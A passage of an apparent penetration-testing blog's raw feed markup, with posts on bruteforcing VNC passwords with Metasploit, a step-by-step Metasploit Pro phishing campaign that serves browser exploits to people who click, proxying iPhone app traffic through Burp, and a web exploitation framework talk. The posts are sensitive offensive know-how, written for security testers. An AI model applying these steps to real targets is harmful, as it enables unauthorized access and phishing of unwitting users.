&lt;a href="http://www.immunitysec.com/resources-freesoftware.shtml"&gt;VAAseline&lt;/a&gt; to do VNC bruteforcing.  But now you can just use vnc_login.&lt;br /&gt;&lt;br /&gt;So the scenario is you find yourself on the other end of a VNC server.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQvIRgOj6UI/AAAAAAAAAkw/ZTIZ_zvw874/s1600/vnc-login1.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 271px;" src="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQvIRgOj6UI/AAAAAAAAAkw/ZTIZ_zvw874/s400/vnc-login1.png" alt="" id="BLOGGER_PHOTO_ID_5551751168698607938" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Its tedious to password guess like this&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bgJlT6eWjGg/TQvIaqbJMPI/AAAAAAAAAk4/3lvQSlLY_v8/s1600/vnc-login2.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 175px; height: 173px;" src="http://1.bp.blogspot.com/_bgJlT6eWjGg/TQvIaqbJMPI/AAAAAAAAAk4/3lvQSlLY_v8/s400/vnc-login2.png" alt="" id="BLOGGER_PHOTO_ID_5551751326054559986" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Instead let's use the metasploit module&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQvIuPaVqII/AAAAAAAAAlA/6hRjut_yEM8/s1600/vnc-login3.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 80px;" src="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQvIuPaVqII/AAAAAAAAAlA/6hRjut_yEM8/s400/vnc-login3.png" alt="" id="BLOGGER_PHOTO_ID_5551751662400809090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;and throw a dictionary attack against the VNC server&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_bgJlT6eWjGg/TQvI50HPGxI/AAAAAAAAAlI/DR1TD_sxNeI/s1600/vnc-login4.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 266px;" src="http://4.bp.blogspot.com/_bgJlT6eWjGg/TQvI50HPGxI/AAAAAAAAAlI/DR1TD_sxNeI/s400/vnc-login4.png" alt="" id="BLOGGER_PHOTO_ID_5551751861231360786" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Looks like the VNC no auth module had been ported and stuck in there too :-)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_bgJlT6eWjGg/TQvJxZxRNrI/AAAAAAAAAlQ/MP3vzyszzY4/s1600/vnc-login5.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 251px;" src="http://4.bp.blogspot.com/_bgJlT6eWjGg/TQvJxZxRNrI/AAAAAAAAAlQ/MP3vzyszzY4/s400/vnc-login5.png" alt="" id="BLOGGER_PHOTO_ID_5551752816232576690" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;-CG&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-8524532462691696064?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/8524532462691696064/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=8524532462691696064' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/8524532462691696064'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/8524532462691696064'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2010/12/metasploit-and-vnc-password.html' title='Metasploit and VNC Password Bruteforcing'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_bgJlT6eWjGg/TQvIRgOj6UI/AAAAAAAAAkw/ZTIZ_zvw874/s72-c/vnc-login1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-2284931799034405915</id><published>2010-12-16T17:56:00.018-05:00</published><updated>2010-12-16T21:37:17.457-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit Pro'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Conducting a Phishing Campaign in Metasploit Pro</title><content type='html'>So new job gets me new fun toys. Figured i'd try the fancy shmancy tools and do a phish campaign with metasploit pro.&lt;br /&gt;&lt;br /&gt;1.  Go click on campaigns and star filling stuff out like what you want to call it&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_bgJlT6eWjGg/TQqZVhh1w1I/AAAAAAAAAi4/qJ3yaFEHcoQ/s1600/phish-campaign1.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 237px;" src="http://4.bp.blogspot.com/_bgJlT6eWjGg/TQqZVhh1w1I/AAAAAAAAAi4/qJ3yaFEHcoQ/s400/phish-campaign1.png" alt="" id="BLOGGER_PHOTO_ID_5551418085744165714" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2.  Set up your web campaign.  With the web campaign you can actually host a webpage along with your exploit instead of just getting the typical "please wait" stuff.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bgJlT6eWjGg/TQqZikL7PbI/AAAAAAAAAjA/B4TjDgS4gb4/s1600/phish-campaign2.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 291px;" src="http://2.bp.blogspot.com/_bgJlT6eWjGg/TQqZikL7PbI/AAAAAAAAAjA/B4TjDgS4gb4/s400/phish-campaign2.png" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;3. Fill out your name of the template and the html of what you want it to say&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQqdmLK2GFI/AAAAAAAAAjI/NQFGABb2NEQ/s1600/phish-campaign3.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 221px;" src="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQqdmLK2GFI/AAAAAAAAAjI/NQFGABb2NEQ/s400/phish-campaign3.png" alt="" id="BLOGGER_PHOTO_ID_5551422769846425682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;4. By default it will run browser autopwn&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQqeEu9oMSI/AAAAAAAAAjQ/JzTkSJoRnAU/s1600/phish-campaign4.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 122px;" src="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQqeEu9oMSI/AAAAAAAAAjQ/JzTkSJoRnAU/s400/phish-campaign4.png" alt="" id="BLOGGER_PHOTO_ID_5551423294850740514" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;5.  Lets just pick an exploit to throw at them instead of all of them&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQqeZRitxPI/AAAAAAAAAjY/d9IdFY3jD6M/s1600/phish-campaign5.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 234px;" src="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQqeZRitxPI/AAAAAAAAAjY/d9IdFY3jD6M/s400/phish-campaign5.png" alt="" id="BLOGGER_PHOTO_ID_5551423647730484466" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;6.  Once you click save, it should look something like this:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_bgJlT6eWjGg/TQrG-UEi7MI/AAAAAAAAAjg/qupgrJozw94/s1600/phish-campaign6.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 151px;" src="http://4.bp.blogspot.com/_bgJlT6eWjGg/TQrG-UEi7MI/AAAAAAAAAjg/qupgrJozw94/s400/phish-campaign6.png" alt="" id="BLOGGER_PHOTO_ID_5551468264529521858" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;7.  After that you can set up the email portion of the phish&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_bgJlT6eWjGg/TQrHOELbArI/AAAAAAAAAjo/ybVpnCVYRac/s1600/phish-campaign7.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 283px;" src="http://4.bp.blogspot.com/_bgJlT6eWjGg/TQrHOELbArI/AAAAAAAAAjo/ybVpnCVYRac/s400/phish-campaign7.png" alt="" id="BLOGGER_PHOTO_ID_5551468535141302962" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;8. Fill out the sending server options&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQrHjTMRpII/AAAAAAAAAjw/pE0JHgSEJIE/s1600/phish-campaign8.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 253px;" src="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQrHjTMRpII/AAAAAAAAAjw/pE0JHgSEJIE/s400/phish-campaign8.png" alt="" id="BLOGGER_PHOTO_ID_5551468899948668034" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;9. Then fill out the text for the body of your email&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQrHv4LXumI/AAAAAAAAAj4/wiIi3I6w_hI/s1600/phish-campaign9.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 216px;" src="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQrHv4LXumI/AAAAAAAAAj4/wiIi3I6w_hI/s400/phish-campaign9.png" alt="" id="BLOGGER_PHOTO_ID_5551469116035414626" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;10. After you click save, you'll go to the add email addresses section where you can import a list, or type them in&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQrIBM2iJFI/AAAAAAAAAkA/J7Q50pwhjps/s1600/phish-campaign10.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 88px;" src="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQrIBM2iJFI/AAAAAAAAAkA/J7Q50pwhjps/s400/phish-campaign10.png" alt="" id="BLOGGER_PHOTO_ID_5551469413642937426" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;11. Kinda looks like this when its all filled out.  To start click the start campaign button&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_bgJlT6eWjGg/TQrIQNYzDZI/AAAAAAAAAkI/qMutZ5oEktg/s1600/phish-campaign11.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 125px;" src="http://4.bp.blogspot.com/_bgJlT6eWjGg/TQrIQNYzDZI/AAAAAAAAAkI/qMutZ5oEktg/s400/phish-campaign11.png" alt="" id="BLOGGER_PHOTO_ID_5551469671484689810" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;12.  You can see the status of your sent emails and as people click them the percentage will change&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQrIt_D7ySI/AAAAAAAAAkQ/XVEn5uOk5QA/s1600/phish-campaign12a.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 143px;" src="http://3.bp.blogspot.com/_bgJlT6eWjGg/TQrIt_D7ySI/AAAAAAAAAkQ/XVEn5uOk5QA/s400/phish-campaign12a.png" alt="" id="BLOGGER_PHOTO_ID_5551470183035160866" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;13.  I guess what the email could look like if you werent trying too hard :-)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bgJlT6eWjGg/TQrI_YNAS4I/AAAAAAAAAkY/LTzIVDKfebc/s1600/phish-campaign13.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 112px;" src="http://2.bp.blogspot.com/_bgJlT6eWjGg/TQrI_YNAS4I/AAAAAAAAAkY/LTzIVDKfebc/s400/phish-campaign13.png" alt="" id="BLOGGER_PHOTO_ID_5551470481841867650" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;14.  And the web page serving up the exploit&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bgJlT6eWjGg/TQrJMOal9ZI/AAAAAAAAAkg/hMJ56fiCRx4/s1600/phish-campaign14a.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 176px;" src="http://2.bp.blogspot.com/_bgJlT6eWjGg/TQrJMOal9ZI/AAAAAAAAAkg/hMJ56fiCRx4/s400/phish-campaign14a.png" alt="" id="BLOGGER_PHOTO_ID_5551470702552806802" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;15. You can now see that a user clicked the link and our percentage has changed&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bgJlT6eWjGg/TQrJcxq1RJI/AAAAAAAAAko/GxDyqhhLqJI/s1600/phish-campaign15.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 169px;" src="http://1.bp.blogspot.com/_bgJlT6eWjGg/TQrJcxq1RJI/AAAAAAAAAko/GxDyqhhLqJI/s400/phish-campaign15.png" alt="" id="BLOGGER_PHOTO_ID_5551470986894066834" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I'll cover hosts and sessions later.  Only gripe is the lack of configuration ability in the exploit payload section.  I've been told this will be addressed shortly even though a lot of work has been put into smart defaults the ability to change it when necessary would be nice.&lt;br /&gt;&lt;br /&gt;-CG&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-2284931799034405915?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/2284931799034405915/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=2284931799034405915' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2284931799034405915'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2284931799034405915'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2010/12/conducting-phishing-campaign-in.html' title='Conducting a Phishing Campaign in Metasploit Pro'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_bgJlT6eWjGg/TQqZVhh1w1I/AAAAAAAAAi4/qJ3yaFEHcoQ/s72-c/phish-campaign1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-305764781235110608</id><published>2010-11-23T11:05:00.000-05:00</published><updated>2011-06-24T15:27:59.829-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cktricky'/><title type='text'>iPhone + Burp</title><content type='html'>This is one of those things that is super simple and I figure most folks have already done or know how to do. There may be a few people out there whose time I save with this post. Who knows. Lets get on with it.&lt;br /&gt;&lt;br /&gt;Just as with the Droid apps, when an untrusted certificate (Burp) shows up for an app requiring SSL/TLS, the app crashes and burns. The best way (same as Droid) to fix this is to import Burp as a trusted Certificate Authority (CA).&lt;br /&gt;&lt;br /&gt;Why would we want to do this? Apps on mobile phones are cool but some would argue the web-services the apps are communicating with can be even juicier. We'd like to intercept the communication to the web-services and play around a bit.&lt;br /&gt;&lt;br /&gt;You'll need to export the Burp Certificate, I usually open Firefox, set the browser to run thru Burp, view the certificate, export the certificate. Much like this.........&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_0fYCL-Nfbmc/TOvkP_Gk-VI/AAAAAAAAARU/28oLMoMR7ZM/s1600/SSL_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="172" src="http://1.bp.blogspot.com/_0fYCL-Nfbmc/TOvkP_Gk-VI/AAAAAAAAARU/28oLMoMR7ZM/s320/SSL_1.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;Browse to https://twitter.com (while proxying thru Burp)&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_0fYCL-Nfbmc/TOvkR4XFAkI/AAAAAAAAARY/hvTcfDkw3AA/s1600/SSL_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="293" src="http://3.bp.blogspot.com/_0fYCL-Nfbmc/TOvkR4XFAkI/AAAAAAAAARY/hvTcfDkw3AA/s320/SSL_2.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;"Get Certificate"&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_0fYCL-Nfbmc/TOvkS6-3ZKI/AAAAAAAAARc/N7UsPXyokMM/s1600/SSL_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/_0fYCL-Nfbmc/TOvkS6-3ZKI/AAAAAAAAARc/N7UsPXyokMM/s320/SSL_3.png" width="305" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;Select PortSwigger's cert&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_0fYCL-Nfbmc/TOvkUFaPwAI/AAAAAAAAARg/lqoAYCip3r8/s1600/SSL_4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://1.bp.blogspot.com/_0fYCL-Nfbmc/TOvkUFaPwAI/AAAAAAAAARg/lqoAYCip3r8/s320/SSL_4.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;Save Certificate with a .cer extension (.cer is what the iPhone recognizes)&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_0fYCL-Nfbmc/TOvk6Kohy5I/AAAAAAAAARk/i1n1Wb4u9BA/s1600/python_http.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="170" src="http://1.bp.blogspot.com/_0fYCL-Nfbmc/TOvk6Kohy5I/AAAAAAAAARk/i1n1Wb4u9BA/s320/python_http.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;Start a web server to host the PortSwiggerCA.cer&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_0fYCL-Nfbmc/TOvk79wPGdI/AAAAAAAAARo/t-KpO4NoCGQ/s1600/iphone_1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/_0fYCL-Nfbmc/TOvk79wPGdI/AAAAAAAAARo/t-KpO4NoCGQ/s320/iphone_1.PNG" width="213" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;Browse to the location of the PortSwigger.cer file&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_0fYCL-Nfbmc/TOvk8w_mJZI/AAAAAAAAARs/8BUACvZ7ymQ/s1600/iphone_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/_0fYCL-Nfbmc/TOvk8w_mJZI/AAAAAAAAARs/8BUACvZ7ymQ/s320/iphone_2.png" width="213" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;The iPhone detects .cer, asks you to install as a CA, do it :-)&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_0fYCL-Nfbmc/TOvk9xK0vQI/AAAAAAAAARw/pxOd1KrYghg/s1600/iphone_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/_0fYCL-Nfbmc/TOvk9xK0vQI/AAAAAAAAARw/pxOd1KrYghg/s320/iphone_3.png" width="213" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;WiFi configuration, click the blue arrow on the right of your network&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_0fYCL-Nfbmc/TOvk-6nZnxI/AAAAAAAAAR0/TfO4nLERblw/s1600/iphone_4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/_0fYCL-Nfbmc/TOvk-6nZnxI/AAAAAAAAAR0/TfO4nLERblw/s320/iphone_4.png" width="213" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&amp;nbsp;&amp;nbsp;Configure with Burp's IP &amp;amp; Proxy&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;Hopefully that was easy enough to follow along. Now you can proxy your iPhone apps thru Burp.&lt;br /&gt;&lt;br /&gt;~Happy Hacking&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-305764781235110608?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/305764781235110608/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=305764781235110608' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/305764781235110608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/305764781235110608'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2010/11/iphone-burp.html' title='iPhone + Burp'/><author><name>cktricky</name><uri>http://www.blogger.com/profile/16815248087217800849</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/--K0zI_slcV8/TgT5x_k1FlI/AAAAAAAAAU4/OC192luGV7k/s220/myphoto.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_0fYCL-Nfbmc/TOvkP_Gk-VI/AAAAAAAAARU/28oLMoMR7ZM/s72-c/SSL_1.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-3162420800964737007</id><published>2010-11-22T20:42:00.000-05:00</published><updated>2011-06-24T15:27:59.829-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cktricky'/><title type='text'>wXf Videos from AppSec DC 2010</title><content type='html'>Here are some of the videos from AppSec DC 2010 and our presentation (Seth Law, Chris Gates and I) on wXf (Web Exploitation Framework).&lt;br /&gt;&lt;br /&gt;Background: Back in March of this year, Seth approached me with the idea of creating a framework that would allow us to put all of our discontiguous scripts together. Then we decided "our" could mean the AppSec community as a whole. Why not take everyone's one-off scripts, proof-of-concept tools and ideas and centralize them? So........we've worked off and on since March to build it.&lt;br /&gt;&lt;br /&gt;The only frameworks available to us at the time (and even now) which were "WEB-centric" had user interfaces that weren't what we were looking for, broke after updates and/or randomly OR just didn't have the HTTP libs we needed (SOAP, JSON, Flex, etc).&lt;br /&gt;&lt;br /&gt;So the first thing we focused on was the console interface. We figure this will probably be the interface with the most mileage. At the moment, we are still working on the console interface as well as improving the core. The framework won't be perfect from day one but we'd like to make it as easy to use as possible.&lt;br /&gt;&lt;br /&gt;We decided Metasploit is possibly the best designed piece of open source software/framework that we've seen and it works incredibly well. People are familiar with it and it looks nice. So we decided to make wXfconsole look like msfconsole. Same *general* type of commands &amp;nbsp;and interface layout.&lt;br /&gt;&lt;br /&gt;Release will occur in the next couple of months. We have a list of people to "beta-test" the software and want to ensure we limit the amount of bugs to a minimum upon release.&lt;br /&gt;&lt;br /&gt;Now, for the videos.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="300" src="http://player.vimeo.com/video/17103306" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/17103306"&gt;User Agent Fuzzer by Chris Gates (carnal0wnage)&lt;/a&gt; from &lt;a href="http://vimeo.com/user2590597"&gt;cktricky&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="300" src="http://player.vimeo.com/video/17103442" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/17103442"&gt;wXf Directory Traversal Fuzzer by Chris Gates (carnal0wnage)&lt;/a&gt; from &lt;a href="http://vimeo.com/user2590597"&gt;cktricky&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="300" src="http://player.vimeo.com/video/17103389" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a 